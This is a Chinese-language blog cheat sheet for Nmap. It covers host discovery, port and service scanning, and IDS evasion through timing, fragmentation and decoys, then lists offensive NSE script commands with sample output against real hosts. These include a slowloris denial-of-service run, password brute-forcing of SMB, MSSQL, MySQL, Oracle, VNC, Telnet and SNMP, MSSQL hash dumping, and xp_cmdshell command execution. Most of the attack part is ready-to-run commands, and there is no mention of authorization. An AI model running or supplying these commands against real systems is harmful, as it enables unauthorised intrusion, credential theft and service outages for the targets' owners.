Nmap是一個網絡連接配接端掃描軟體,用來掃描網上電腦開放的網絡連接配接端,确定哪些服務運作在哪些連接配接端,并且推斷計算機運作哪個作業系統,正如大多數被用于網絡安全的工具,Nmap也是不少黑客及駭客愛用的工具,系統管理者可以利用Nmap來探測工作環境中未經準許使用的伺服器,但是黑客會利用Nmap來搜集目标電腦的網絡設定,進而計劃攻擊的方法.
主機發現掃描
批量Ping探測:
-sP
參數,用來批量掃描一個網段的主機存活數,這裡的結果隻會顯示線上的主機.
[root@localhost ~]# nmap -sP 192.168.1.0/24 > scan.log
[root@localhost ~]# cat scan.log | grep "Nmap scan" | awk '{print $5}'
跳過Ping探測: 有些主機關閉了ping檢測,是以可以使用
-P0
跳過ping的探測,這樣可加快掃描速度.
[root@localhost ~]# nmap -P0 192.168.1.7
計算網段主機IP: 僅列出指定網段上的每台主機,不發送任何封包到目标主機.
[root@localhost ~]# nmap -sL 192.168.1.0/24 > scan.log
[root@localhost ~]# cat scan.log | grep "Nmap scan" | awk '{print $5}'
掃描線上主機: 掃描一個網段的線上主機清單,功能類似于批量ping檢測存活主機.
[root@localhost ~]# nmap -sn 27.201.193.0/24
[root@localhost ~]# cat scan.log | grep "Nmap scan" | awk '{print $5}'
掃描IP位址範圍: 指定探測的網段,看是否線上.
[root@localhost ~]# nmap -sP 192.168.1.1-10
[root@localhost ~]# nmap -sP 27.201.193.100-200
探測開放端口(TCP/UDP): 探測目标主機開放的端口,可指定一個以逗号分隔的端口清單,如
(-pS22,443,80)
.
[root@localhost ~]# nmap -pS22,80,443 192.168.1.10 // TCP探測
[root@localhost ~]# nmap -pU22,80,443 192.168.1.10 // UDP探測
[root@localhost ~]# nmap -p smtp,http,https 192.168.1.10
探測主機(SYN/TCP/UDP)掃描: SYN半開放掃描,TCP開放掃描.
[root@localhost ~]# nmap -sS 192.168.1.10 //SYN掃描
[root@localhost ~]# nmap -sT 192.168.1.10 // tcp
[root@localhost ~]# nmap -sU 192.168.1.10 // UDP掃描
[root@localhost ~]# nmap -sA 192.168.1.10 // TCP ACK掃描
主機協定探測: IP協定掃描,可以确定目标機支援哪些IP協定(TCP, ICMP, IGMP).
[root@localhost ~]# nmap -sO 192.168.1.10 | grep '^[0-9]'
1 open icmp
6 open tcp
7 open udp
探測目标系統: 掃描探測目标主機作業系統,這裡結果僅供參考有時候并不準确.
[root@localhost ~]# nmap -O 192.168.1.10 | grep "Running:"
Running: Microsoft Windows 2000 | XP
探測服務版本: 用于掃描目标主機服務的具體版本号.
[root@localhost ~]# nmap -sV 192.168.1.10 | grep '^[0-9]'
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
3306/tcp open mysql MySQL 5.5.53
139/tcp open netbios-ssn
443/tcp open ssl/http VMware VirtualCenter Web service
445/tcp closed microsoft-ds
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
跟蹤封包(tracert): 跟蹤發送和接收封包的資料流向.
[root@localhost ~]# nmap --packet-trace 192.168.1.10
SENT (4.7014s) TCP 192.168.1.30:50000 > 192.168.1.10:3527 S
SENT (4.7100s) TCP 192.168.1.30:50000 > 192.168.1.10:4446 S
輸出本機接口: 輸出檢測到的接口清單和系統路由
root@localhost ~]# nmap --iflist 192.168.1.10
掃描多台主機: 一次性掃描多台目标主機,與網段掃描不相同.
[root@localhost ~]# nmap -sP 192.168.1.10 192.168.1.20
[root@localhost ~]# nmap -sP 192.168.1.10 192.168.1.20 192.168.1.30
掃描時排除主機:
nmap 10.0.1.161-162 --exclude 10.0.1.162 // 排除單個主機
nmap 10.0.1.161-163 --exclude 10.0.1.162-163 // 排除連續主機
nmap 10.0.1.161-163 --exclude 10.0.1.161,10.0.1.163 //排除分散主機
nmap 10.0.1.161-163 --excludefile ex.txt // 排除檔案裡的主機
控制掃描時間: 調整探測封包的時間間隔,防止在單一主機上等待時間過長.
[root@localhost ~]# nmap --scan-delay 1 192.168.1.10
[root@localhost ~]# nmap --max-scan-delay 1 192.168.1.10 // 表示最多等待1秒
[root@localhost ~]# nmap --max-retries 1 192.168.1.10 // 資料包最多重傳1次
輸出指定格式: 通過相關選項,可以讓Nmap輸出指定的檔案格式.
[root@localhost ~]# nmap -oX lyshark.xml 192.168.1.10 // 以XML格式輸出掃描結果
[root@localhost ~]# nmap -oN lyshark.log 192.168.1.10 // 以标準格式輸出到文本
[root@localhost ~]# nmap -oG lyshark.log 192.168.1.10 // 以Grep可識别的格式輸出
導入掃描檔案: 從一個檔案中導入IP位址,并進行掃描.
[root@localhost ~]# cat lyshark.log
localhost
www.baidu.com
192.168.1.7
[root@localhost ~]# nmap -iL lyshark.log
防火牆的規避
規避IDS檢測: 通過設定時間模闆
(<Paranoid=0|Sneaky=1)
的方式,來規避IDS的檢測.
[root@localhost ~]# nmap -T0 192.168.1.10
[root@localhost ~]# nmap -T1 192.168.1.10
封包分段探測: 将TCP頭分段在幾個包中,使得包過濾器、IDS以及其它工具的檢測更加困難.
[root@localhost ~]# nmap -f 192.168.1.10 // 自動分段
[root@localhost ~]# nmap --mtu 4/8/16 192.168.1.10 // 自定義分段,必須是4的倍數
使用誘餌繞過: 使用誘餌隐蔽掃描,此處也可用自己的真實IP作為誘餌.
[root@localhost ~]# nmap -D 192.168.1.1 192.168.1.10
使用掃描腳本
Nmap不僅用于端口掃描,服務檢測,其還具有強大的腳本功能,利用
Nmap Script
可以快速探測伺服器,一般情況下,常用的掃描腳本會放在
/usr/share/nmap/script
目錄下,并且腳本擴招名為
*.nse
字尾的,接下來将介紹最常用的掃描腳本.
掃描WEB敏感目錄: 通過使用
--script=http-enum.nse
可以掃描網站的敏感目錄.
[root@localhost ~]# nmap -p 80 --script=http-enum.nse www.mkdirs.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 01:49 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000010s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
| http-enum:
| /login.php: Possible admin folder
| /robots.txt: Robots file
| /config/: Potentially interesting folder w/ directory listing
| /docs/: Potentially interesting folder w/ directory listing
| /external/: Potentially interesting folder w/ directory listing
|_ /icons/: Potentially interesting folder w/ directory listing
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds
繞開鑒權: 負責處理鑒權證書(繞開鑒權)的腳本,也可以作為檢測部分應用弱密碼.
[root@localhost ~]# nmap --script=auth www.mkdirs.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-30 23:16 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000090s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 6 Oct 30 19:45 pub
22/tcp open ssh
25/tcp open smtp
| smtp-enum-users:
|_ root
80/tcp open http
| http-domino-enum-passwords:
|_ ERROR: No valid credentials were found
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
預設腳本掃描: 腳本掃描,主要是搜集各種應用服務的資訊,收集到後可再針對具體服務進行攻擊.
[root@localhost ~]# nmap --script=default www.mkdirs.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-30 23:21 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000010s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 6 Oct 30 19:45 pub
22/tcp open ssh
| ssh-hostkey: 2048 c2:89:44:fc:e3:1b:5a:65:a1:6e:11:34:73:6d:d5:04 (RSA)
|_256 54:0e:d4:47:2f:b2:d4:2b:33:b6:d8:35:66:2d:a2:aa (ECDSA)
3306/tcp open mysql
| mysql-info: Protocol: 10
| Version: 5.5.60-MariaDB
| Thread ID: 10408
| Status: Autocommit
|_Salt: <D"y]F(2
Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds
檢測常見漏洞: 通過使用
--script=luln
,可以掃描網站的常見漏洞,以及網頁的目錄結構.
[root@localhost ~]# nmap --script=vuln www.mkdirs.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-30 23:24 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000017s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
80/tcp open http
| http-enum:
| /login.php: Possible admin folder
| /robots.txt: Robots file
| /config/: Potentially interesting folder w/ directory listing
| /docs/: Potentially interesting folder w/ directory listing
| /external/: Potentially interesting folder w/ directory listing
|_ /icons/: Potentially interesting folder w/ directory listing
|_http-fileupload-exploiter:
|_http-frontpage-login: false
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
内網服務探測: 通過使用
--script=broadcast
,可以實作在區域網路内探查更多服務開啟狀況.
[root@localhost ~]# nmap -n -p445 --script=broadcast 127.0.0.1
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-30 23:28 EDT
Pre-scan script results:
| broadcast-dhcp-discover:
| IP Offered: 192.168.1.14
| Server Identifier: 192.168.1.1
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
|_ Domain Name Server: 192.168.1.1
| broadcast-eigrp-discovery:
|_ ERROR: Couldn't get an A.S value.
| broadcast-listener:
| ether
| ARP Request
| sender ip sender mac target ip
| 192.168.1.1 43:72:23:04:56:21 192.168.1.2
| 192.168.1.2 B4:8C:28:BE:4C:34 192.168.1.1
| EIGRP Update
........
進行WhoIS查詢: 通過使用
--script whois
子產品,可以查詢網站的簡單資訊.
[root@localhost ~]# nmap --script whois www.baidu.com
Host script results:
| whois: Record found at whois.apnic.net
| inetnum: 61.135.0.0 - 61.135.255.255
| netname: UNICOM-BJ
| descr: China Unicom Beijing province network
| country: CN
| person: ChinaUnicom Hostmaster
|_email: [email protected]
Nmap done: 1 IP address (1 host up) scanned in 4.76 seconds
詳細WhoIS解析: 利用第三方的資料庫或資源,查詢詳細的WhoIS解析情況.
[root@localhost ~]# nmap --script external www.baidu.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-30 23:31 EDT
Nmap scan report for www.baidu.com (61.135.169.125)
Host is up (0.018s latency).
|_http-robtex-shared-ns: ERROR: Script execution failed (use -d to debug)
| ip-geolocation-geoplugin:
| 61.135.169.125 (www.baidu.com)
| coordinates (lat,lon): 39.9288,116.3889
|_ state: Beijing, China
|_ip-geolocation-maxmind: ERROR: Script execution failed (use -d to debug)
| whois: Record found at whois.apnic.net
| inetnum: 61.135.0.0 - 61.135.255.255
| netname: UNICOM-BJ
| descr: China Unicom Beijing province network
|_country: CN
.....
發現内網網關: 通過使用
--script=broadcast-netbios-master-browser
可以發現内網網關的位址.
[root@localhost ~]# nmap --script=broadcast-netbios-master-browser 192.168.1.1
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 02:05 EDT
Pre-scan script results:
| broadcast-netbios-master-browser:
| ip server domain
|_192.168.1.2 Web-Server WORKGROUP
Nmap scan report for 192.168.1.1
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp filtered http
1900/tcp open upnp
MAC Address: 42:1C:1B:E7:B1:B2 (TP-Link)
發現WEB中Robots檔案: 通過使用
--script=http-robots.txt.nse
可以檢測到robots檔案内容.
[root@localhost scripts]# nmap --script=http-robots.txt.nse www.baidu.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 02:12 EDT
Nmap scan report for www.baidu.com (61.135.169.125)
Host is up (0.019s latency).
Other addresses for www.baidu.com (not scanned): 61.135.169.121
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
| http-robots.txt: 9 disallowed entries
| /baidu /s? /ulink? /link? /home/news/data/ /shifen/
|_/homepage/ /cpro /
443/tcp open https
| http-robots.txt: 9 disallowed entries
| /baidu /s? /ulink? /link? /home/news/data/ /shifen/
|_/homepage/ /cpro /
Nmap done: 1 IP address (1 host up) scanned in 5.06 seconds
檢查WEB伺服器時間: 檢查web伺服器的目前時間.
[root@localhost scripts]# nmap -p 443 --script http-date.nse www.baidu.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 02:16 EDT
Nmap scan report for www.baidu.com (61.135.169.121)
Host is up (0.017s latency).
Other addresses for www.baidu.com (not scanned): 61.135.169.125
PORT STATE SERVICE
443/tcp open https
|_http-date: Sun, 31 Mar 2019 06:16:53 GMT; 0s from local time.
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
執行DOS攻擊: dos攻擊,對于處理能力較小的站點還挺好用的.
[root@localhost ~]# nmap --script http-slowloris --max-parallelism 1000 www.mkdirs.com
Warning: Your max-parallelism (-M) option is extraordinarily high, which can hurt reliability
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 02:21 EDT
檢查DNS子域: 檢查目标ns伺服器是否允許傳送,如果能,直接把子域拖出來就好了.
[root@localhost scripts]# nmap -p 53 --script dns-zone-transfer.nse -v www.baidu.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 02:28 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 02:28
Scanning www.baidu.com (61.135.169.121) [4 ports]
Completed Ping Scan at 02:28, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:28
Completed Parallel DNS resolution of 1 host. at 02:28, 0.01s elapsed
Initiating SYN Stealth Scan at 02:28
Scanning www.baidu.com (61.135.169.121) [1 port]
Completed SYN Stealth Scan at 02:28, 0.20s elapsed (1 total ports)
NSE: Script scanning 61.135.169.121.
Nmap scan report for www.baidu.com (61.135.169.121)
Host is up (0.016s latency).
Other addresses for www.baidu.com (not scanned): 61.135.169.125
PORT STATE SERVICE
53/tcp filtered domain
NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 6 (240B) | Rcvd: 1 (28B)
查詢WEB旁站: 旁站查詢,ip2hosts接口該接口似乎早已停用,如果想繼續用,可自行到腳本裡把接口部分的代碼改掉.
[root@localhost scripts]# nmap -p80 --script hostmap-ip2hosts.nse www.baidu.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 02:29 EDT
Nmap scan report for www.baidu.com (61.135.169.121)
Host is up (0.017s latency).
Other addresses for www.baidu.com (not scanned): 61.135.169.125
PORT STATE SERVICE
80/tcp open http
Host script results:
| hostmap-ip2hosts:
|_ hosts: Error: could not GET http://www.ip2hosts.com/csv.php?ip=61.135.169.121
Nmap done: 1 IP address (1 host up) scanned in 5.89 seconds
密碼爆破子產品
暴力破解DNS記錄: 這裡以破解百度的域名為例子,由于内容較多這裡簡化顯示.
[root@localhost scripts]# nmap --script=dns-brute.nse www.baidu.com
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 03:19 EDT
Nmap scan report for www.baidu.com (61.135.169.125)
Host is up (0.018s latency).
Other addresses for www.baidu.com (not scanned): 61.135.169.121
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Host script results:
| dns-brute:
| DNS Brute-force hostnames
| lab.baidu.com - 180.149.144.192
| lab.baidu.com - 180.149.132.122
| corp.baidu.com - 123.129.254.12
|_ log.baidu.com - 10.26.39.14
Nmap done: 1 IP address (1 host up) scanned in 10.58 seconds
内網VNC掃描: 通過使用腳本,檢查VNC版本等一些敏感資訊.
[root@localhost ~]# nmap --script=realvnc-auth-bypass 127.0.0.1 #檢查VNC版本
[root@localhost ~]# nmap --script=vnc-auth 127.0.0.1 #檢查VNC認證方式
[root@localhost ~]# nmap --script=vnc-info 127.0.0.1 #擷取VNC資訊
[root@localhost ~]# nmap --script=vnc-brute.nse --script-args=userdb=/user.txt,passdb=/pass.txt 127.0.0.1 #暴力破解VNC密碼
内網SMB掃描: 檢查區域網路中的
Samba
伺服器,以及對伺服器的暴力破解.
[root@localhost ~]# nmap --script=smb-brute.nse 127.0.0.1 #簡單嘗試破解SMB服務
[root@localhost ~]# nmap --script=smb-check-vulns.nse --script-args=unsafe=1 127.0.0.1 #SMB已知幾個嚴重漏
[root@localhost ~]# nmap --script=smb-brute.nse --script-args=userdb=/user.txt,passdb=/pass.txt 127.0.0.1 #通過傳遞字段檔案,進行暴力破解
[root@localhost ~]# nmap -p445 -n --script=smb-psexec --script-args=smbuser=admin,smbpass=1233 127.0.0.1 #查詢主機一些敏感資訊:nmap_service
[root@localhost ~]# nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=admin,smbpass=1233 127.0.0.1 #檢視會話
[root@localhost ~]# nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=admin,smbpass=1233 127.0.0.1 #檢視系統資訊
MSSQL掃描: 檢查區域網路中的
SQL Server
[root@localhost ~]# nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 127.0.0.1 #暴力破解MSSQL密碼
[root@localhost ~]# nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 127.0.0.1 #dumphash值
[root@localhost ~]# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4 xp_cmdshell #執行指令
MYSQL掃描: 檢查區域網路中的
MySQL
[root@localhost ~]# nmap -p3306 --script=mysql-empty-password.nse 127.0.0.1 #掃描root空密碼
[root@localhost ~]# nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 127.0.0.1 #列出所有使用者
[root@localhost ~]# nmap -p3306 --script=mysql-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 127.0.0.1 #暴力破解MYSQL密碼
Oracle掃描: 檢查區域網路中的
Oracle
[root@localhost ~]# nmap --script=oracle-sid-brute -p 1521-1560 127.0.0.1 #oracle sid掃描
[root@localhost ~]# nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 127.0.0.1 #oracle弱密碼破解
爆破Telnet:
nmap -p 23 --script telnet-brute \
--script-args userdb=myusers.lst,passdb=.mypwds.lst,telnet-brute.timeout=8s 192.168.1.103
nmap --script=broadcast-netbios-master-browser 192.168.137.4 發現網關
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破解rsync
nmap --script informix-brute -p 9088 192.168.137.4 informix資料庫破解
nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破解
nmap -sU --script snmp-brute 192.168.137.4 snmp破解
nmap -sV --script=telnet-brute 192.168.137.4 telnet破解
nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target> jboss autopwn
nmap --script=http-methods.nse 192.168.137.4 檢查http方法
nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻擊,對于處理能力較小的站點還挺好用的 'half-HTTP' connections
nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4
nmap -iR 1000 -sS -PS80 -p 80 -oG nmap.txt
Nmap 變成漏掃使用 去 https://github.com/scipag/vulscan 下載下傳項目,并整個解壓到nmap 的script目錄下,然後執指令
nmap -sV --script=vulscan/vulscan.nse
#使用預設的庫進行漏洞掃描
nmap -sV --script=vulscan/vulscan.nse --script-args vulscandb=cve.csv [ip]
#使用特定的庫cve.csv掃描
nmap -sV --script=vulscan/vulscan.nse --script-args vulscandb=exploitdb.csv [ip]
nmap -sV --script=vulscan/vulscan.nse --script-args vulscandb=securitytracker.csv [ip]
nmap -sV --script=vulscan/vulscan.nse --script-args vulscandb=xforce.csv [ip]
nmap -sV --script=vulscan/vulscan.nse --script-args vulscandb=scipvuldb.csv [ip]
nmap -sV --script=vulscan/vulscan.nse --script-args vulscandb=openvas.csv [ip]
nmap -sV --script=vulscan/vulscan.nse --script-args vulscandb=xforce.csv [ip]
nmap -sV --script=vulscan/vulscan.nse --script-args vulscandb=osvdb.csv [ip]
文章出處: https://www.cnblogs.com/LyShark/p/11136300.html
版權聲明:本部落格文章與代碼均為學習時整理的筆記,部落格中除去明确标注有參考文獻的文章,其他文章
[均為原創]作品,轉載請
[添加出處],您添加出處是我創作的動力!
如果您惡意轉載本人文章并被本人發現,則您的整站文章,将會變為我的原創作品,請互相尊重 !